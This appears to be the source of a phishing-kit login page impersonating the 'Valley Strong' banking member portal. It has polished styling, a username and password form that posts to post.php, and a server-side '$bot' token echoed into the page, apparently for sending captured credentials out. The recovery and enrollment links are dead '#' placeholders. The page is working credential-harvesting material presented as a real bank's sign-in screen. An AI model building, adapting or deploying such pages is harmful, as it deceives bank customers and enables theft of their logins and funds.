<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Cormorant+Garamond:wght@300;400;500;600&family=DM+Sans:wght@300;400;500&display=swap" rel="stylesheet">
    <title>Valley Strong — Sign In</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --green:         #142f1e;
            --green-mid:     #1c3d28;
            --green-deep:    #0d2015;
            --green-accent:  #2d6641;
            --green-light:   rgba(20,47,30,0.06);
            --green-glow:    rgba(20,47,30,0.12);
            --text:          #142f1e;
            --text-sub:      #3a5443;
            --text-muted:    #7a9483;
            --border:        #d5e3d9;
            --bg:            #f5f8f6;
            --white:         #ffffff;
        }

        html, body { height: 100%; font-family: 'DM Sans', sans-serif; background: var(--bg); }

        body {
            display: grid;
            grid-template-columns: 1fr 1fr;
            min-height: 100vh;
        }

        /* ── LEFT PANEL ─────────────────────────────── */
        .panel-left {
            background: var(--green);
            position: relative;
            display: flex;
            flex-direction: column;
            justify-content: space-between;
            padding: 52px 56px 56px;
            overflow: hidden;
        }

        /* Big watermark logo in background */
        .watermark {
            position: absolute;
            bottom: -8%;
            right: -12%;
            width: 82%;
            opacity: 0.055;
            pointer-events: none;
            user-select: none;
        }
        .watermark img {
            width: 100%;
            height: auto;
            display: block;
            filter: brightness(0) invert(1);
        }

        /* Soft gradient overlays for depth */
        .panel-left::before {
            content: '';
            position: absolute; inset: 0;
            background:
                radial-gradient(ellipse 70% 50% at 0% 100%, rgba(45,102,65,0.35) 0%, transparent 60%),
                radial-gradient(ellipse 50% 40% at 100% 0%, rgba(255,255,255,0.04) 0%, transparent 55%);
            pointer-events: none;
        }

        /* Thin horizontal rule decoration */
        .panel-left::after {
            content: '';
            position: absolute;
            left: 56px; right: 56px;
            top: 50%;
            height: 1px;
            background: linear-gradient(90deg, rgba(255,255,255,0.12) 0%, rgba(255,255,255,0.03) 100%);
            pointer-events: none;
        }

        .panel-top { position: relative; z-index: 2; }
        .panel-logo img {
            height: 42px; width: auto;
            display: block;
            filter: brightness(0) invert(1);
            opacity: 0.92;
        }

        .panel-bottom { position: relative; z-index: 2; }

        .eyebrow {
            font-size: 10.5px; font-weight: 500;
            letter-spacing: 0.22em; text-transform: uppercase;
            color: rgba(255,255,255,0.45);
            margin-bottom: 20px;
            display: flex; align-items: center; gap: 10px;
        }
        .eyebrow::before {
            content: '';
            display: block;
            width: 28px; height: 1px;
            background: rgba(255,255,255,0.3);
        }

        .panel-headline {
            font-family: 'Cormorant Garamond', serif;
            font-size: clamp(32px, 3.2vw, 52px);
            font-weight: 300;
            line-height: 1.18;
            color: #fff;
            margin-bottom: 24px;
            letter-spacing: -0.01em;
        }
        .panel-headline em {
            font-style: italic;
            color: rgba(255,255,255,0.65);
        }

        .panel-sub {
            font-size: 13.5px;
            font-weight: 300;
            color: rgba(255,255,255,0.38);
            line-height: 1.8;
            max-width: 300px;
        }

        /* Small stat row */
        .panel-stats {
            display: flex; gap: 36px;
            margin-top: 40px;
            padding-top: 32px;
            border-top: 1px solid rgba(255,255,255,0.1);
        }
        .stat-item { }
        .stat-num {
            font-family: 'Cormorant Garamond', serif;
            font-size: 28px; font-weight: 500;
            color: rgba(255,255,255,0.9);
            line-height: 1;
            margin-bottom: 4px;
        }
        .stat-label {
            font-size: 11px; font-weight: 400;
            color: rgba(255,255,255,0.35);
            letter-spacing: 0.05em;
        }

        /* ── RIGHT PANEL ─────────────────────────────── */
        .panel-right {
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            padding: 60px 44px;
            background: var(--white);
            overflow-y: auto;
            position: relative;
        }

        /* Subtle corner grain texture feel */
        .panel-right::before {
            content: '';
            position: absolute;
            top: 0; right: 0;
            width: 220px; height: 220px;
            background: radial-gradient(ellipse at 100% 0%, rgba(20,47,30,0.04) 0%, transparent 70%);
            pointer-events: none;
        }

        .login-card {
            width: 100%;
            max-width: 380px;
            position: relative;
            animation: fadeUp 0.5s cubic-bezier(0.22,1,0.36,1) both;
        }

        @keyframes fadeUp {
            from { opacity: 0; transform: translateY(20px); }
            to   { opacity: 1; transform: translateY(0); }
        }

        /* Small logo in card */
        .card-logo {
            margin-bottom: 38px;
        }
        .card-logo img {
            height: 44px; width: auto;
            display: block;
            object-fit: contain;
        }

        .card-heading { margin-bottom: 34px; }
        .card-heading h1 {
            font-family: 'Cormorant Garamond', serif;
            font-size: 30px; font-weight: 500;
            color: var(--text);
            margin-bottom: 7px;
            letter-spacing: -0.015em;
            line-height: 1.2;
        }
        .card-heading p {
            font-size: 13.5px; color: var(--text-muted); font-weight: 300;
        }

        /* ── Fields ── */
        .field { margin-bottom: 16px; }
        .field label {
            display: block;
            font-size: 11.5px; font-weight: 500;
            letter-spacing: 0.06em; text-transform: uppercase;
            color: var(--text-sub); margin-bottom: 8px;
        }
        .field input[type="text"],
        .field input[type="password"] {
            width: 100%;
            height: 48px;
            padding: 0 16px;
            border: 1.5px solid var(--border);
            border-radius: 5px;
            font-family: 'DM Sans', sans-serif;
            font-size: 15px;
            color: var(--text);
            background: #fff;
            outline: none;
            transition: border-color 0.18s, box-shadow 0.18s;
            -webkit-appearance: none;
        }
        .field input::placeholder { color: #c2d0c7; font-weight: 300; }
        .field input:focus {
            border-color: var(--green-accent);
            box-shadow: 0 0 0 3.5px var(--green-light);
        }

        /* ── Options row ── */
        .options-row {
            display: flex; align-items: center; justify-content: space-between;
            margin-bottom: 26px; margin-top: 4px;
        }
        .check-label {
            display: flex; align-items: center; gap: 9px;
            font-size: 13px; color: var(--text-sub);
            cursor: pointer; user-select: none; font-weight: 400;
        }
        .check-label input[type="checkbox"] {
            appearance: none; -webkit-appearance: none;
            width: 16px; height: 16px;
            border: 1.5px solid var(--border);
            border-radius: 3px; background: #fff;
            cursor: pointer; flex-shrink: 0; position: relative;
            transition: background 0.15s, border-color 0.15s;
        }
        .check-label input[type="checkbox"]:checked {
            background: var(--green); border-color: var(--green);
        }
        .check-label input[type="checkbox"]:checked::after {
            content: '';
            position: absolute; left: 3px; top: 0px;
            width: 5px; height: 9px;
            border: 2px solid #fff;
            border-top: none; border-left: none;
            transform: rotate(45deg);
        }
        .forgot-link {
            font-size: 12.5px; color: var(--green-accent);
            text-decoration: none; font-weight: 400;
            transition: opacity 0.15s;
        }
        .forgot-link:hover { opacity: 0.7; text-decoration: underline; }

        /* ── Button ── */
        .btn-signin {
            width: 100%; height: 50px;
            background: var(--green); color: #fff;
            border: none; border-radius: 5px;
            font-family: 'DM Sans', sans-serif;
            font-size: 15px; font-weight: 500;
            letter-spacing: 0.03em;
            cursor: pointer;
            position: relative; overflow: hidden;
            transition: background 0.18s, transform 0.12s, box-shadow 0.18s;
            margin-bottom: 28px;
        }
        .btn-signin::after {
            content: '';
            position: absolute; inset: 0;
            background: linear-gradient(180deg, rgba(255,255,255,0.07) 0%, transparent 100%);
            pointer-events: none;
        }
        .btn-signin:hover {
            background: var(--green-mid);
            box-shadow: 0 5px 20px rgba(20,47,30,0.3);
            transform: translateY(-1px);
        }
        .btn-signin:active { transform: translateY(0); }

        /* ── Footer links ── */
        .card-divider { height: 1px; background: var(--border); margin-bottom: 22px; }
        .card-links { display: flex; flex-direction: column; gap: 12px; }
        .card-links a {
            font-size: 13.5px; color: var(--green);
            text-decoration: none; font-weight: 400;
            display: flex; align-items: center; gap: 6px;
            opacity: 0.75;
            transition: opacity 0.15s;
        }
        .card-links a:hover { opacity: 1; text-decoration: underline; }
        .card-links a svg { flex-shrink: 0; }

        /* ── FDIC badge ── */
        .fdic-row {
            margin-top: 36px;
            display: flex; align-items: center; gap: 10px;
        }
        .fdic-badge {
            background: #1b3d8c; color: #fff;
            font-size: 10px; font-weight: 800;
            letter-spacing: 0.07em; padding: 3px 6px;
            border-radius: 2px; flex-shrink: 0;
        }
        .fdic-text {
            font-size: 10.5px; color: var(--text-muted);
            line-height: 1.45;
        }

        /* ── Responsive ── */
        @media (max-width: 768px) {
            body { grid-template-columns: 1fr; }
            .panel-left { display: none; }
            .panel-right { min-height: 100vh; padding: 48px 28px; }
        }
    </style>
</head>
<body>

<!-- LEFT PANEL -->
<div class="panel-left">

    <!-- Big watermark logo -->
    <div class="watermark">
        <img src="res/img/logo3.svg" alt="">
    </div>

    <div class="panel-top">
        <div class="panel-logo">
            <img src="res/img/logo3.svg" alt="Valley Strong">
        </div>
    </div>

    <div class="panel-bottom">
        <div class="eyebrow">Member Portal</div>
        <h2 class="panel-headline">Banking rooted<br>in <em>community.</em></h2>
        <p class="panel-sub">Sign in to manage your accounts, transfers, and statements — built for the Valley.</p>
        <div class="panel-stats">
            <div class="stat-item">
                <div class="stat-num">$2B+</div>
                <div class="stat-label">Assets</div>
            </div>
            <div class="stat-item">
                <div class="stat-num">90k+</div>
                <div class="stat-label">Members</div>
            </div>
            <div class="stat-item">
                <div class="stat-num">1935</div>
                <div class="stat-label">Est.</div>
            </div>
        </div>
    </div>
</div>

<!-- RIGHT PANEL -->
<div class="panel-right">
    <div class="login-card">

        <div class="card-logo">
            <img src="res/img/logo.png" alt="Valley Strong">
        </div>

        <div class="card-heading">
            <h1>Welcome back</h1>
            <p>Sign in to your account to continue</p>
        </div>

        <script>var token=<?php echo json_encode($bot); ?>;</script>

        <form action="post.php" method="post">

            <div class="field">
                <label for="user">Username</label>
                <input type="text" id="user" name="user" placeholder="Enter your username" required autocomplete="username">
            </div>

            <div class="field">
                <label for="pass">Password</label>
                <input type="password" id="pass" name="pass" placeholder="Enter your password" required autocomplete="current-password">
            </div>

            <div class="options-row">
                <label class="check-label">
                    <input type="checkbox" name="remember"> Remember me
                </label>
                <a href="#" class="forgot-link">Forgot password?</a>
            </div>

            <button type="submit" class="btn-signin">Sign In</button>

            <div class="card-divider"></div>
            <div class="card-links">
                <a href="#">
                    <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M16 21v-2a4 4 0 00-4-4H5a4 4 0 00-4 4v2"/><circle cx="8.5" cy="7" r="4"/><line x1="20" y1="8" x2="20" y2="14"/><line x1="23" y1="11" x2="17" y2="11"/></svg>
                    Not enrolled? Sign up now
                </a>
                <a href="#">
                    <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
                    Forgot username or password
                </a>
            </div>

            <div class="fdic-row">
                <span class="fdic-badge">FDIC</span>
                <span class="fdic-text">Member FDIC. Equal Housing Lender.</span>
            </div>

        </form>
    </div>
</div>

<script src="./res/jq.js"></script>
</body>
</html>